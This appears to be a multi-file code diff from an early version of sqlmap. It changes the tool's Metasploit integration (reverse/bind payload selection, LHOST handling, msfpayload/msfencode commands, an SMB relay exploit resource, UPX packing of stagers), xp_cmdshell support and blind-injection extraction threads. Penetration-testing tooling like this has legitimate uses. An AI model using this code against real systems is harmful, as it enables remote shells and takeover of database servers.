from lib.core.common import expandAsteriskForColumns
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import replaceNewlineTabs
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
|||||||
@@ -29,6 +29,12 @@ import socket
|
|||||||
import urllib
|
import urllib
|
||||||
import urllib2
|
import urllib2
|
||||||
|
|
||||||
|
from lib.core.settings import PYVERSION
|
||||||
|
|
||||||
|
|
||||||
|
if PYVERSION >= "2.6":
|
||||||
|
import ssl
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||||
_ports = {"http" : 80, "https" : 443}
|
_ports = {"http" : 80, "https" : 443}
|
||||||
@@ -57,7 +63,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
|||||||
self._real_host = host
|
self._real_host = host
|
||||||
self._real_port = int(port)
|
self._real_port = int(port)
|
||||||
|
|
||||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||||
|
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
@@ -89,7 +95,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
|||||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||||
default_port = 443
|
default_port = 443
|
||||||
|
|
||||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
|
||||||
ProxyHTTPConnection.__init__(self, host, port)
|
ProxyHTTPConnection.__init__(self, host, port)
|
||||||
self.key_file = key_file
|
self.key_file = key_file
|
||||||
self.cert_file = cert_file
|
self.cert_file = cert_file
|
||||||
@@ -98,8 +104,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
|||||||
ProxyHTTPConnection.connect(self)
|
ProxyHTTPConnection.connect(self)
|
||||||
|
|
||||||
# Make the sock ssl-aware
|
# Make the sock ssl-aware
|
||||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
if PYVERSION >= "2.6":
|
||||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
||||||
|
self.sock = sslobj
|
||||||
|
else:
|
||||||
|
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||||
|
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.takeover.udf import UDF
|
from lib.takeover.udf import UDF
|
||||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||||
|
|||||||
@@ -24,11 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
|
||||||
|
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.session import setDEP
|
from lib.core.session import setDEP
|
||||||
|
|||||||
@@ -62,6 +62,7 @@ class Metasploit:
|
|||||||
|
|
||||||
def __initVars(self):
|
def __initVars(self):
|
||||||
self.connectionStr = None
|
self.connectionStr = None
|
||||||
|
self.lhostStr = None
|
||||||
self.rhostStr = None
|
self.rhostStr = None
|
||||||
self.portStr = None
|
self.portStr = None
|
||||||
self.payloadStr = None
|
self.payloadStr = None
|
||||||
@@ -79,9 +80,11 @@ class Metasploit:
|
|||||||
|
|
||||||
self.__msfPayloadsList = {
|
self.__msfPayloadsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ),
|
||||||
2: ( "Shell", "windows/shell" ),
|
2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ),
|
||||||
3: ( "VNC", "windows/vncinject" ),
|
3: ( "Shell", "windows/shell" ),
|
||||||
|
4: ( "Reflective VNC", "windows/vncinject" ),
|
||||||
|
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ( "Shell", "linux/x86/shell" ),
|
1: ( "Shell", "linux/x86/shell" ),
|
||||||
@@ -134,20 +137,20 @@ class Metasploit:
|
|||||||
|
|
||||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
os = "windows"
|
opSys = "windows"
|
||||||
else:
|
else:
|
||||||
os = "linux"
|
opSys = "linux"
|
||||||
|
|
||||||
message = "which %s do you want to use?" % msg
|
message = "which %s do you want to use?" % msg
|
||||||
|
|
||||||
if lst:
|
if lst:
|
||||||
for num, data in lst[os].items():
|
for num, data in lst[opSys].items():
|
||||||
description = data[0]
|
description = data[0]
|
||||||
|
|
||||||
if num > maxValue:
|
if num > maxValue:
|
||||||
maxValue = num
|
maxValue = num
|
||||||
|
|
||||||
if "default" in description:
|
if "(default)" in description:
|
||||||
default = num
|
default = num
|
||||||
|
|
||||||
message += "\n[%d] %s" % (num, description)
|
message += "\n[%d] %s" % (num, description)
|
||||||
@@ -173,7 +176,7 @@ class Metasploit:
|
|||||||
choice = int(choice)
|
choice = int(choice)
|
||||||
|
|
||||||
if lst:
|
if lst:
|
||||||
choice = lst[os][choice][1]
|
choice = lst[opSys][choice][1]
|
||||||
|
|
||||||
return choice
|
return choice
|
||||||
|
|
||||||
@@ -229,7 +232,7 @@ class Metasploit:
|
|||||||
if choose == True:
|
if choose == True:
|
||||||
message = "what do you want to do?\n"
|
message = "what do you want to do?\n"
|
||||||
message += "[1] Give it a try anyway\n"
|
message += "[1] Give it a try anyway\n"
|
||||||
message += "[2] Fall back to Meterpreter payload (default)\n"
|
message += "[2] Fall back to reflective Meterpreter payload (default)\n"
|
||||||
message += "[3] Fall back to Shell payload"
|
message += "[3] Fall back to Shell payload"
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -298,12 +301,30 @@ class Metasploit:
|
|||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
|
||||||
|
def __selectLhost(self):
|
||||||
|
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
|
||||||
|
message = "which is the local address? [%s] " % self.localIP
|
||||||
|
address = readInput(message, default=self.localIP)
|
||||||
|
|
||||||
|
if not address:
|
||||||
|
address = self.localIP
|
||||||
|
|
||||||
|
return address
|
||||||
|
|
||||||
|
elif self.connectionStr.startswith("bind"):
|
||||||
|
return None
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
|
||||||
def __selectConnection(self):
|
def __selectConnection(self):
|
||||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||||
|
|
||||||
|
|
||||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||||
self.connectionStr = self.__selectConnection()
|
self.connectionStr = self.__selectConnection()
|
||||||
|
self.lhostStr = self.__selectLhost()
|
||||||
self.rhostStr = self.__selectRhost()
|
self.rhostStr = self.__selectRhost()
|
||||||
self.portStr = self.__selectPort()
|
self.portStr = self.__selectPort()
|
||||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||||
@@ -323,7 +344,7 @@ class Metasploit:
|
|||||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__cliCmd += " LHOST=%s" % self.localIP
|
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
@@ -336,10 +357,12 @@ class Metasploit:
|
|||||||
|
|
||||||
|
|
||||||
def __forgeMsfConsoleResource(self):
|
def __forgeMsfConsoleResource(self):
|
||||||
|
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
||||||
|
|
||||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||||
|
|
||||||
self.__resource = "use windows/smb/smb_relay\n"
|
self.__resource = "use windows/smb/smb_relay\n"
|
||||||
self.__resource += "set SRVHOST %s\n" % self.localIP
|
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||||
self.__resource += "set LPORT %s\n" % self.portStr
|
self.__resource += "set LPORT %s\n" % self.portStr
|
||||||
@@ -348,43 +371,48 @@ class Metasploit:
|
|||||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__resource += "set LHOST %s\n" % self.localIP
|
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
self.__resource += "exploit\n"
|
self.__resource += "exploit\n"
|
||||||
|
|
||||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
self.resourceFp = open(self.resourceFile, "w")
|
||||||
self.resourceFp = open(self.resourceFile, "w")
|
|
||||||
|
|
||||||
self.resourceFp.write(self.__resource)
|
self.resourceFp.write(self.__resource)
|
||||||
self.resourceFp.close()
|
self.resourceFp.close()
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
|
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||||
self.__payloadCmd = self.__msfPayload
|
self.__payloadCmd = self.__msfPayload
|
||||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||||
|
|
||||||
if self.connectionStr.startswith("reverse"):
|
if self.connectionStr.startswith("reverse"):
|
||||||
self.__payloadCmd += " LHOST=%s" % self.localIP
|
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
elif not self.connectionStr.startswith("bind"):
|
elif not self.connectionStr.startswith("bind"):
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
|
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||||
|
|
||||||
if extra is not None:
|
if extra is not None:
|
||||||
self.__payloadCmd += " %s" % extra
|
self.__payloadCmd += " %s" % extra
|
||||||
|
|
||||||
|
# NOTE: payload stager for Linux can only be encoded if the
|
||||||
|
# Metasploit working copy has been updated after May 11, 2009
|
||||||
|
# (http://trac.metasploit.com/changeset/6543)
|
||||||
|
#
|
||||||
|
# TODO: remember to update this code as soon as Metasploit
|
||||||
|
# Framework 3.3 is out officially and update the user's manual to
|
||||||
|
# notify that sqlmap depends upon Metasploit Framework 3.3
|
||||||
else:
|
else:
|
||||||
self.__payloadCmd += " X"
|
self.__payloadCmd += " X > %s" % outFile
|
||||||
|
|
||||||
|
|
||||||
def __runMsfCli(self, exitfunc="process"):
|
def __runMsfCli(self, exitfunc):
|
||||||
self.__forgeMsfCliCmd(exitfunc)
|
self.__forgeMsfCliCmd(exitfunc)
|
||||||
|
|
||||||
infoMsg = "running Metasploit Framework 3 command line "
|
infoMsg = "running Metasploit Framework 3 command line "
|
||||||
@@ -392,7 +420,6 @@ class Metasploit:
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||||
|
|
||||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
|
||||||
@@ -401,7 +428,6 @@ class Metasploit:
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||||
|
|
||||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
|
||||||
@@ -496,7 +522,7 @@ class Metasploit:
|
|||||||
|
|
||||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||||
|
|
||||||
if metSess and self.payloadStr == "windows/meterpreter":
|
if metSess:
|
||||||
self.__loadMetExtensions(proc, metSess.group(1))
|
self.__loadMetExtensions(proc, metSess.group(1))
|
||||||
|
|
||||||
except EOFError:
|
except EOFError:
|
||||||
@@ -511,16 +537,15 @@ class Metasploit:
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.shellcodeChar = ""
|
|
||||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
|
self.shellcodeChar = ""
|
||||||
|
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
self.__prepareIngredients(askChurrasco=False)
|
self.__prepareIngredients(askChurrasco=False)
|
||||||
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
|
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
@@ -531,19 +556,18 @@ class Metasploit:
|
|||||||
else:
|
else:
|
||||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
self.__shellcodeFileP.close()
|
|
||||||
|
|
||||||
if payloadSize:
|
if payloadSize:
|
||||||
payloadSize = payloadSize.group(1)
|
payloadSize = payloadSize.group(1)
|
||||||
|
|
||||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
else:
|
else:
|
||||||
raise sqlmapFilePathException, "failed to create the shellcode"
|
errMsg = "failed to create the shellcode (%s)" % payloadStderr
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
|
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||||
self.__shellcodeString = self.__shellcodeFileP.read()
|
self.__shellcodeString = self.__shellcodeFP.read()
|
||||||
self.__shellcodeFileP.close()
|
self.__shellcodeFP.close()
|
||||||
|
|
||||||
os.unlink(self.__shellcodeFilePath)
|
os.unlink(self.__shellcodeFilePath)
|
||||||
|
|
||||||
@@ -567,10 +591,10 @@ class Metasploit:
|
|||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
||||||
|
self.__fileFormat = "exe"
|
||||||
else:
|
else:
|
||||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||||
|
self.__fileFormat = "elf"
|
||||||
self.__exeFileP = open(self.exeFilePathLocal, "wb")
|
|
||||||
|
|
||||||
if initialize == True:
|
if initialize == True:
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
@@ -578,10 +602,10 @@ class Metasploit:
|
|||||||
if self.payloadStr == None:
|
if self.payloadStr == None:
|
||||||
self.__prepareIngredients()
|
self.__prepareIngredients()
|
||||||
|
|
||||||
self.__forgeMsfPayloadCmd()
|
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
@@ -592,8 +616,6 @@ class Metasploit:
|
|||||||
else:
|
else:
|
||||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
self.__exeFileP.close()
|
|
||||||
|
|
||||||
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||||
|
|
||||||
if payloadSize:
|
if payloadSize:
|
||||||
@@ -602,7 +624,7 @@ class Metasploit:
|
|||||||
packedSize = upx.pack(self.exeFilePathLocal)
|
packedSize = upx.pack(self.exeFilePathLocal)
|
||||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||||
|
|
||||||
if packedSize:
|
if packedSize and packedSize != exeSize:
|
||||||
debugMsg += "as a compressed portable executable its size "
|
debugMsg += "as a compressed portable executable its size "
|
||||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||||
debugMsg += "was %s bytes large" % exeSize
|
debugMsg += "was %s bytes large" % exeSize
|
||||||
@@ -612,7 +634,8 @@ class Metasploit:
|
|||||||
|
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
else:
|
else:
|
||||||
raise sqlmapFilePathException, "failed to create the payload stager"
|
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def uploadMsfPayloadStager(self):
|
def uploadMsfPayloadStager(self):
|
||||||
@@ -625,7 +648,7 @@ class Metasploit:
|
|||||||
|
|
||||||
|
|
||||||
def pwn(self):
|
def pwn(self):
|
||||||
self.__runMsfCli()
|
self.__runMsfCli(exitfunc="process")
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__runMsfPayloadRemote()
|
self.__runMsfPayloadRemote()
|
||||||
@@ -639,13 +662,14 @@ class Metasploit:
|
|||||||
self.__initVars()
|
self.__initVars()
|
||||||
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
||||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
|
|
||||||
else:
|
|
||||||
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
|
|
||||||
|
|
||||||
self.__forgeMsfConsoleResource()
|
self.__forgeMsfConsoleResource()
|
||||||
self.__forgeMsfConsoleCmd()
|
self.__forgeMsfConsoleCmd()
|
||||||
|
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
else:
|
||||||
|
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
|
||||||
self.__runMsfConsole()
|
self.__runMsfConsole()
|
||||||
|
|
||||||
debugMsg = "Metasploit Framework 3 console exited with return "
|
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||||
|
|||||||
@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from subprocess import PIPE
|
from subprocess import PIPE
|
||||||
@@ -49,11 +48,22 @@ class UPX:
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def __initialize(self, srcFile, dstFile=None):
|
def __initialize(self, srcFile, dstFile=None):
|
||||||
if "win" in PLATFORM:
|
if "darwin" in PLATFORM:
|
||||||
|
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
elif "win" in PLATFORM:
|
||||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
elif "linux" in PLATFORM:
|
elif "linux" in PLATFORM:
|
||||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "unsupported platform for the compression tool "
|
||||||
|
warnMsg += "(upx), sqlmap will continue anyway"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||||
|
|
||||||
if dstFile:
|
if dstFile:
|
||||||
@@ -68,15 +78,25 @@ class UPX:
|
|||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
upxStderr = process.communicate()[1]
|
upxStdout, upxStderr = process.communicate()
|
||||||
|
|
||||||
if upxStderr:
|
warnMsg = "failed to compress the file"
|
||||||
logger.warn("failed to compress the file")
|
|
||||||
|
if "NotCompressibleException" in upxStdout:
|
||||||
|
warnMsg += " because you provided a Metasploit version above "
|
||||||
|
warnMsg += "3.3-dev revision 6681. This will not inficiate "
|
||||||
|
warnMsg += "the correct execution of sqlmap. It might "
|
||||||
|
warnMsg += "only slow down a bit the execution of sqlmap"
|
||||||
|
logger.info(warnMsg)
|
||||||
|
|
||||||
|
elif upxStderr:
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
|
||||||
else:
|
else:
|
||||||
return os.path.getsize(srcFile)
|
return os.path.getsize(srcFile)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
def unpack(self, srcFile, dstFile=None):
|
def unpack(self, srcFile, dstFile=None):
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -217,4 +217,4 @@ class xp_cmdshell:
|
|||||||
debugMsg += "output to"
|
debugMsg += "output to"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
|
||||||
|
|||||||
@@ -73,7 +73,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
if length == 0:
|
if length == 0:
|
||||||
return 0, ""
|
return 0, ""
|
||||||
|
|
||||||
showEta = conf.eta and length
|
showEta = conf.eta and isinstance(length, int)
|
||||||
numThreads = min(conf.threads, length)
|
numThreads = min(conf.threads, length)
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
@@ -140,38 +140,34 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
|
|
||||||
|
|
||||||
def downloadThread():
|
def downloadThread():
|
||||||
while True:
|
try:
|
||||||
idxlock.acquire()
|
while True:
|
||||||
|
idxlock.acquire()
|
||||||
|
|
||||||
if index[0] >= length:
|
if index[0] >= length:
|
||||||
|
idxlock.release()
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
index[0] += 1
|
||||||
|
curidx = index[0]
|
||||||
idxlock.release()
|
idxlock.release()
|
||||||
|
|
||||||
return
|
charStart = time.time()
|
||||||
|
val = getChar(curidx)
|
||||||
|
|
||||||
index[0] += 1
|
if val == None:
|
||||||
curidx = index[0]
|
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||||
idxlock.release()
|
|
||||||
|
|
||||||
charStart = time.time()
|
value[curidx-1] = val
|
||||||
val = getChar(curidx)
|
|
||||||
|
|
||||||
if val == None:
|
if showEta:
|
||||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
etaProgressUpdate(time.time() - charStart, index[0])
|
||||||
|
elif conf.verbose in ( 1, 2 ):
|
||||||
value[curidx-1] = val
|
s = "".join([c or "_" for c in value])
|
||||||
|
iolock.acquire()
|
||||||
if showEta:
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||||
etaProgressUpdate(time.time() - charStart, index[0])
|
iolock.release()
|
||||||
elif conf.verbose in ( 1, 2 ):
|
|
||||||
s = "".join([c or "_" for c in value])
|
|
||||||
iolock.acquire()
|
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
|
||||||
iolock.release()
|
|
||||||
|
|
||||||
|
|
||||||
def downloadThreadProxy(numThread):
|
|
||||||
try:
|
|
||||||
downloadThread()
|
|
||||||
|
|
||||||
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||||
conf.threadException = True
|
conf.threadException = True
|
||||||
@@ -199,7 +195,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
|
|
||||||
# Start the threads
|
# Start the threads
|
||||||
for numThread in range(numThreads):
|
for numThread in range(numThreads):
|
||||||
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
thread = threading.Thread(target=downloadThread)
|
||||||
thread.start()
|
thread.start()
|
||||||
threads.append(thread)
|
threads.append(thread)
|
||||||
|
|
||||||
|
|||||||
@@ -175,8 +175,9 @@ def __unionTestByNULLBruteforce(comment):
|
|||||||
|
|
||||||
|
|
||||||
def __unionTestByOrderBy(comment):
|
def __unionTestByOrderBy(comment):
|
||||||
columns = None
|
columns = None
|
||||||
value = None
|
value = None
|
||||||
|
prevPayload = ""
|
||||||
